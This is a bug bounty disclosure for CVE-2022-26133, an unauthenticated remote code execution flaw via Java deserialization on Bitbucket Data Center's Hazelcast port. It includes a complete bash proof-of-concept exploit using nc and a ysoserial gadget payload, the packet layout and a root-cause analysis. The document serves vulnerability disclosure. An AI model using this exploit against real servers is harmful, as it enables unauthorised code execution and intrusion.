RCE in Bitbucket DataCenter via HazelCastPort

Disclosed by
SnowyOwl's avatar
SnowyOwl
  • Engagement Atlassian
  • Disclosed date about 3 years ago
  • Points 40
  • Priority P1 Bugcrowd's VRT priority rating
  • Status Resolved This vulnerability has been accepted and fixed
Summary by Atlassian

Fixes for CVE-2022-26133 are available for Bitbucket Data Center. For more information, refer to Atlassian's security advisory at https://confluence.atlassian.com/security/multiple-products-security-advisory-hazelcast-vulnerable-to-remote-code-execution-cve-2016-10750-1116292387.html

Summary by SnowyOwl

Introduction

Hazelcast Port of the Bitbucket Data Center is vulnerable to Java deserialization attacks [1] - CVE-2022-26133; a variant of CVE-2016-10750 [2] that is specific to Bitbucket. Bitbucket Data Center makes use of Hazelcast for in-memory data caching and by default port 5701 is used for Hazelcast. A remote, unauthenticated attacker can exploit this vulnerability by sending a crafted packet to the Hazelcast port and achieve Remote Code Execution. (RCE)

Packet Structure


--------------------------------------------------------------------------------------------
|                      |                   |                     |                         |
| size of group name   | group name of     | 0xFF 0xFF 0xFF 0x9C | serialized paylod       |
|       (4 bytes)      | Bitbucket cluster |                     | (e.g CommonsBeanutils1) |
--------------------------------------------------------------------------------------------

POC


#!/usr/bin/env bash

BITBUCKET_IP=${1:-'127.0.0.1'}
BITBUCKET_HAZELCAST_PORT=${2:-'3050'}
YSOSERIAL_JAR=${3:-'/home/dare/workspace/tools/ysoserial/ysoserial-master-SNAPSHOT.jar'}

# wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar

# send a dummy probe packet to retrive the cluster name
# e.g the below sets the length as 2 bytes and sends a dummy 2 bytes
printf "\x00\x00\x00\x02\x73\x61" | nc -nv "$BITBUCKET_IP"  "$BITBUCKET_HAZELCAST_PORT" > cluster-name.bin

# generate the serialized payload using ysoserial with the CommonsBeanutils1 gadget.
java -jar "$YSOSERIAL_JAR" CommonsBeanutils1 xcalc > CommonsBeanutils1.bin

# append header packets to the serialized payload, this is required for the hazelcast to correctly deserialize the payload
# create the final payload by joining the cluster name and the serialized payload with the header.
printf "\xFF\xFF\xFF\x9C" | cat cluster-name.bin - CommonsBeanutils1.bin > payload.bin

# send the payload to the bitbucket cluster
nc -nv "$BITBUCKET_IP"  "$BITBUCKET_HAZELCAST_PORT" < payload.bin

Analysis

Bitbucket implements a custom network authentication protocol for the Hazelcast port inside com.atlassian.stash.internal.cluster.SharedSecretClusterAuthenticator. The hazelcast join sequence is intercepted by the ClusterJoinSocketInterceptor that implements com.hazelcast.nio.MemberSocketInterceptor. Further inside the call chain the com.atlassian.stash.internal.cluster.SharedSecretClusterAuthenticator::runMutualChallengeResponse method is invoked which in-turn invokes the readObject method that performs insecure deserialization.

![runMutualChallengeResponse](./analysis/root-cause/runMutualChallengeResponse.png)

To reach this execution path the GroupName (cluster name) of the Bitbucket node is required. This can be queried by the sending a basic probe to the HazelCast port. The probe is a small TCP packet with the below structure.

------------------------------------------------
|                          |                   |
| Size of following field  |    random bytes   |
|      (4 bytes )          |    (size bytes)   |
------------------------------------------------

Bitbucket server responds with the groupname of the cluster prepended with the length (in bytes) of the group name. This response packet can then be used directly in crafting the payload.


# send a dummy probe packet to retrive the cluster name
# e.g the below sets the length as 2 bytes and sends  2 bytes (don't care - dummy bytes)
printf "\x00\x00\x00\x02\x73\x61" | nc -nv "$BITBUCKET_IP"  "$BITBUCKET_HAZELCAST_PORT"

![verifyGroupName](./analysis/root-cause/verifyGroupName.png)

A rough Sequence Diagram that captures the call chain leading to this issue is depicted below.

![sequence-diagram](./analysis/root-cause/BitBucketDeserializationCallChain.png)

![hazelcast-rce](./POC/bitbucket-hazelcast-rce-poc.png)

Probe Packet to Query Cluster Name

![wireshark-query-bitbucket-cluster-name](./analysis/root-cause/wireshark-query-bitbucket-cluster-name.png)

Response Packet from Bitbucket

![wireshark-bitbucket-response-cluster-name](./analysis/root-cause/wireshark-bitbucket-response-cluster-name.png)

Payload to trigger RCE

![wireshark-bitbucket-payload](./analysis/root-cause/wireshark-bitbucket-payload.png)

The full wire-shark capture may be downloaded from [here](./analysis/root-cause/HazelcastJoinSequence.puml)

References

  1. Multiple Products Security Advisory - Hazelcast Vulnerable To Remote Code Execution - CVE-2016-10750
  2. Hazelcast issue #8024
  3. CVE-2016-10750

Please note all the images has been attached to the post submitted on 31 Mar 2022 19:40:32 IST.

Activity
  1. SnowyOwl’s avatar
    SnowyOwl sent a message

    ()

  2. atlassian_BA’s avatar
    atlassian_BA Customer published the disclosure report

    ()

  3. SnowyOwl’s avatar
    SnowyOwl sent a message

    ()Edited

  4. SnowyOwl’s avatar
    SnowyOwl updated the disclosure summary

    ()

  5. atlassian_BA’s avatar
    atlassian_BA Customer sent a message

    ()

  6. SnowyOwl’s avatar
    SnowyOwl updated the disclosure summary

    ()

  7. SnowyOwl’s avatar
    SnowyOwl requested disclosure

    ()

  8. SnowyOwl’s avatar
    SnowyOwl sent a message

    ()Edited

  9. atlassian_BA’s avatar
    atlassian_BA Customer sent a message

    ()

  10. SnowyOwl’s avatar
    SnowyOwl sent a message

    ()

  11. atlassian_BA’s avatar
    atlassian_BA Customer sent a message

    ()

  12. SnowyOwl’s avatar
    SnowyOwl sent a message

    ()

  13. cliff_bugcrowd’s avatarbugcrowd logo
    cliff_bugcrowd sent a message

    ()

  14. SnowyOwl’s avatar
    SnowyOwl sent a message

    ()Edited

  15. a Crowdcontrol user’s avatar
    a Crowdcontrol user Customer sent a message

    ()

  16. a Crowdcontrol user’s avatar
    a Crowdcontrol user Customer changed the state to Resolved

    ()

  17. SnowyOwl’s avatar
    SnowyOwl sent a message

    ()

  18. Atlassian_MB’s avatar
    Atlassian_MB Customer rewarded SnowyOwl

    ()

  19. Atlassian_MB’s avatar
    Atlassian_MB Customer sent a message

    ()

  20. Atlassian_MB’s avatar
    Atlassian_MB Customer changed the state to Unresolved

    ()

  21. Atlassian_MB’s avatar
    Atlassian_MB Customer rewarded SnowyOwl 40 points

    ()

  22. SnowyOwl’s avatar
    SnowyOwl sent a message

    ()Edited

  23. SnowyOwl’s avatar
    SnowyOwl sent a message

    ()

  24. guxim_bugcrowd’s avatarbugcrowd logo
    guxim_bugcrowd sent a message

    ()

  25. SnowyOwl’s avatar
    SnowyOwl sent a message

    ()

  26. guxim_bugcrowd’s avatarbugcrowd logo
    guxim_bugcrowd sent a message

    ()

  27. guxim_bugcrowd’s avatarbugcrowd logo
    guxim_bugcrowd changed the state to Triaged

    ()

  28. SnowyOwl’s avatar
    SnowyOwl sent a message

    ()Edited

  29. SnowyOwl’s avatar
    SnowyOwl resolved a blocker for Bugcrowd Operations by providing information on reproduction

    ()

  30. SnowyOwl’s avatar
    SnowyOwl sent a message

    ()Edited

  31. guxim_bugcrowd’s avatarbugcrowd logo
    guxim_bugcrowd created a blocker on the researcher to provide information on reproduction

    ()

  32. guxim_bugcrowd’s avatarbugcrowd logo
    guxim_bugcrowd sent a message

    ()

  33. SnowyOwl’s avatar
    SnowyOwl resolved a blocker for Bugcrowd Operations by providing information on reproduction

    ()

  34. SnowyOwl’s avatar
    SnowyOwl sent a message

    ()

  35. guxim_bugcrowd’s avatarbugcrowd logo
    guxim_bugcrowd created a blocker on the researcher to provide information on reproduction

    ()

  36. guxim_bugcrowd’s avatarbugcrowd logo
    guxim_bugcrowd sent a message

    ()

  37. SnowyOwl’s avatar
    SnowyOwl sent a message

    ()

  38. guxim_bugcrowd’s avatarbugcrowd logo
    guxim_bugcrowd sent a message

    ()

  39. SnowyOwl’s avatar
    SnowyOwl sent a message

    ()Edited

  40. SnowyOwl’s avatar
    SnowyOwl sent a message

    ()

  41. cliff_bugcrowd’s avatarbugcrowd logo
    cliff_bugcrowd sent a message

    ()

  42. SnowyOwl’s avatar
    SnowyOwl sent a message

    ()Edited

  43. SnowyOwl’s avatar
    SnowyOwl created the submission

    ()